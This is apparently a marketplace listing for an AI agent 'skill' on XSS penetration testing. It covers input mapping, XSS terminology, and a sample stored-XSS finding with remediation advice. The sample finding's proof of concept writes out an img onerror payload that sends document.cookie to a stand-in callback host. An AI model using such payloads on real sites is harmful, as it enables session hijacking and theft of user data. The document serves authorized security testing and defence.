testing-for-xss-vulnerabilities

Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.

Jump to install

Repository: braydos-h/BreachPilot
Last source activity: August 24, 2026 at 12:22
Detected SKILL.md language: English
Stars: 3
Forks: 0

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Back to search Back to installation

name	testing-for-xss-vulnerabilities
description	Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.
domain	cybersecurity
subdomain	penetration-testing
tags	["XSS","cross-site-scripting","client-side-security","OWASP-A03","JavaScript-injection"]
version	1.0.0
author	mahipal
license	Apache-2.0
nist_csf	["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"]
mitre_attack	["T1595","T1190","T1059","T1078","T1055"]

Testing for XSS Vulnerabilities

When to Use

Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
Evaluating the effectiveness of input sanitization and output encoding across all application features
Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

Authorized scope defining the target web application and acceptable testing activities
Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
XSS Hunter or Burp Collaborator for out-of-band payload verification
SecLists XSS payload lists and custom payloads for WAF bypass scenarios

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
Output context identification: For each reflected input, determine the rendering context:
- HTML body: <div>USER_INPUT</div>
- HTML attribute: <input value="USER_INPUT">

Term	Definition
Reflected XSS	Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL
Stored XSS	Persistent XSS where the payload is saved on the server and served to other users who view the affected page
DOM-Based XSS	XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink
Content Security Policy	HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS
Output Encoding	Converting special characters to their HTML entity equivalents (e.g., `<` to `<`) to prevent the browser from interpreting user input as code
Sink	A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized

## Finding: Stored XSS in Support Ticket Description

**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)

**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.

**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.

**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.

**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
   DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)